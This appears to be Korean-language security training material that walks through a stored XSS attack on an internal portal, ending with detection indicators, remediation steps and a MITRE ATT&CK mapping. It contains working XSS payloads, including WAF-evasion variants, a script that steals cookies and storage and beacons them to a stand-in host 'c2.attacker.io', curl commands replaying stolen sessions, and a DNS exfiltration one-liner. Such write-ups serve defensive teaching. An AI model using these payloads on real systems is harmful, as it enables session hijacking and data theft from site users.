Stored XSS via C2 Exfiltration¶
📌 시나리오 개요¶
"Stored XSS → 세션 탈취 → C2 Exfiltration"
| 항목 | 내용 |
|---|---|
| 대상 | 사내 포털 웹 애플리케이션 (공지사항·게시판 기능 보유) |
| 공격 목표 | 관리자 세션 탈취 → 내부망 접근 권한 확보 |
| 주요 취약점 | Stored XSS (게시판 입력값 미필터링) |
| 프레임워크 | MITRE ATT&CK |
| 환경 | 외부 공격자 → 인터넷 노출 웹앱 → 내부망 |
🗺️ 전체 공격 흐름¶
sequenceDiagram
autonumber
actor Attacker as 🧑💻 Attacker
participant Board as 🖥️ 게시판 (Victim Web)
actor Admin as 👤 관리자 (Victim)
participant C2 as ☁️ C2 Server
participant Internal as 🏢 내부 시스템
Attacker->>Board: Stored XSS 페이로드 게시 (악성 스크립트 삽입)
Admin->>Board: 공지사항 페이지 열람
Board-->>Admin: XSS 페이로드 실행 (브라우저 내)
Admin-->>C2: 세션 쿠키 & 환경정보 전송 (HTTPS Beacon)
Attacker->>C2: 탈취된 세션 수신 확인
Attacker->>Board: 탈취 세션으로 관리자 패널 접근
Attacker->>Internal: 내부망 정찰 & 추가 Exploit
Attacker->>C2: 수집 데이터 Exfiltration
⚔️ 단계별 공격 상세¶
Phase 1 — Initial Access: Stored XSS 삽입¶
MITRE ATT&CK: T1190 Exploit Public-Facing Application / T1059.007 JavaScript
공격자는 게시판의 제목 또는 본문 입력란에 XSS 필터 우회 페이로드를 삽입한다.
서버 측에서 HTML 이스케이프 처리가 없는 경우, 해당 내용이 DB에 그대로 저장된다.
삽입 페이로드 예시
<!-- 게시글 본문에 삽입 -->
<img src=x onerror="
(function(){
var s=document.createElement('script');
s.src='https://c2.attacker.io/hook.js';
document.head.appendChild(s);
})()
">
우회 기법 적용 예시 (WAF 회피)
<!-- SVG + onload 활용 -->
<svg/onload="eval(atob('BASE64_ENCODED_PAYLOAD'))">
<!-- 이벤트 핸들러 분산 -->
<details open ontoggle="fetch('https://c2.attacker.io/?c='+document.cookie)">
Phase 2 — Execution & Collection: 브라우저 내 정보 수집¶
MITRE ATT&CK: T1185 Man in the Browser / T1082 System Information Discovery
관리자가 해당 게시물을 열람하면 브라우저에서 hook.js가 실행된다.
스크립트는 세션 정보, 브라우저 환경, 내부망 엔드포인트 등을 수집한다.
hook.js 동작 로직 (개념)
// 1. 세션 탈취
const stolen = {
cookie: document.cookie,
origin: location.origin,
href: location.href,
ua: navigator.userAgent,
ts: Date.now(),
};
// 2. localStorage / sessionStorage 수집
try {
stolen.ls = JSON.stringify(localStorage);
stolen.ss = JSON.stringify(sessionStorage);
} catch(_) {}
// 3. C2로 Beacon 전송 (HTTPS POST)
navigator.sendBeacon(
'https://c2.attacker.io/collect',
JSON.stringify(stolen)
);
// 4. 내부 엔드포인트 스캔 (same-origin CSRF 시도)
const internal = ['/api/users', '/admin/export', '/api/config'];
internal.forEach(path => {
fetch(location.origin + path, { credentials: 'include' })
.then(r => r.text())
.then(data => {
navigator.sendBeacon('https://c2.attacker.io/data',
JSON.stringify({ path, data }));
}).catch(() => {});
});
Phase 3 — C2 Communication: 세션 수신 및 재사용¶
MITRE ATT&CK: T1071.001 Web Protocols / T1041 Exfiltration Over C2 Channel
flowchart LR
subgraph Victim["피해자 브라우저"]
XSS["XSS 실행\nhook.js"]
end
subgraph C2Server["C2 Server (attacker.io)"]
Collector["/collect\n세션 수신"]
Dashboard["대시보드\n세션 목록"]
DataStore["/data\n내부 응답 저장"]
end
subgraph AttackerOps["공격자 작업"]
Replay["세션 재사용\n(Cookie Replay)"]
Pivot["내부망 Pivot"]
end
XSS -->|"HTTPS POST\n쿠키·환경정보"| Collector
XSS -->|"HTTPS POST\n내부 API 응답"| DataStore
Collector --> Dashboard
Dashboard --> Replay
DataStore --> Pivot
공격자는 탈취한 쿠키를 브라우저 개발자 도구 또는 curl로 재사용한다.
# 탈취 세션으로 관리자 API 접근
curl -s https://target.corp/api/users \
-H "Cookie: session=STOLEN_SESSION_TOKEN" \
-H "X-Forwarded-For: 10.0.0.1" | jq .
# 관리자 패널 접근 확인
curl -s https://target.corp/admin/dashboard \
-H "Cookie: session=STOLEN_SESSION_TOKEN" -L -o /tmp/admin.html
Phase 4 — Post Exploitation: 내부망 정찰 및 Lateral Movement¶
MITRE ATT&CK: T1087 Account Discovery / T1018 Remote System Discovery / T1552 Unsecured Credentials
flowchart TD
A["🔑 관리자 세션 확보"] --> B["내부 API 열거\n/api/users\n/api/config\n/admin/export"]
B --> C{"민감 데이터\n발견?"}
C -->|"Yes"| D["데이터 수집\n(계정·DB 설정·API키)"]
C -->|"No"| E["추가 엔드포인트\n퍼징"]
E --> B
D --> F["C2로 Exfiltration\n(HTTPS / DNS)"]
D --> G["계정 크리덴셜 재사용\nLateral Movement"]
G --> H["내부 서버 접근\n(VPN / SSH / RDP)"]
H --> I["🏁 목표 달성\n데이터 탈취 / 거점 확보"]
F --> I
내부 API 열거 시도
# 관리자 권한으로 사용자 목록 덤프
curl -s https://target.corp/api/users?limit=1000 \
-H "Cookie: session=STOLEN" | jq '.[].email'
# 시스템 설정 파일 노출 확인
curl -s https://target.corp/api/config \
-H "Cookie: session=STOLEN"
# DB 백업 다운로드 시도
curl -s https://target.corp/admin/backup/latest \
-H "Cookie: session=STOLEN" -o /tmp/backup.zip
DNS Exfiltration (대안 채널)
# 데이터를 Base64로 인코딩 후 DNS 서브도메인으로 전송
DATA=$(echo '{"key":"value"}' | base64 | tr -d '=\n')
nslookup "${DATA:0:60}.exfil.attacker.io"
🛡️ 탐지 포인트 (Blue Team 관점)¶
| 단계 | 탐지 지표 | 탐지 방법 |
|---|---|---|
| XSS 삽입 | 게시글에 <script>, onerror=, eval( 등 포함 |
WAF 룰 / 입력값 로그 검토 |
| C2 Beacon | 외부 도메인으로 sendBeacon / 비정상 POST 요청 |
CSP 헤더 위반 로그 / 아웃바운드 트래픽 분석 |
| 세션 재사용 | 동일 세션이 복수 IP에서 사용 | 세션 관리 로그 / 이상 IP 탐지 |
| 내부 API 스캔 | 짧은 시간 내 다수 엔드포인트 접근 | API 게이트웨이 Rate Limit / SIEM 룰 |
| Exfiltration | 대용량 데이터 외부 전송 / DNS 이상 쿼리 | DLP / DNS 쿼리 로그 분석 |
🔧 대응 방안 (Remediation)¶
mindmap
root((대응 방안))
XSS 방지
입력값 HTML 이스케이프
DOMPurify 적용
Content-Security-Policy 헤더 설정
세션 보호
HttpOnly 쿠키 설정
SameSite=Strict 적용
세션 바인딩 (IP + UA)
C2 차단
아웃바운드 도메인 화이트리스트
CSP connect-src 제한
TLS Inspection
탐지 강화
WAF 룰 튜닝
SIEM 이상 행위 룰
세션 이상 탐지 알림
📋 MITRE ATT&CK 매핑¶
| Tactic | Technique ID | Technique Name |
|---|---|---|
| Initial Access | T1190 |
Exploit Public-Facing Application |
| Execution | T1059.007 |
Command and Scripting Interpreter: JavaScript |
| Collection | T1185 |
Man in the Browser |
| Collection | T1082 |
System Information Discovery |
| C2 | T1071.001 |
Application Layer Protocol: Web Protocols |
| Exfiltration | T1041 |
Exfiltration Over C2 Channel |
| Discovery | T1087 |
Account Discovery |
| Lateral Movement | T1550.004 |
Use Alternate Authentication Material: Web Session Cookie |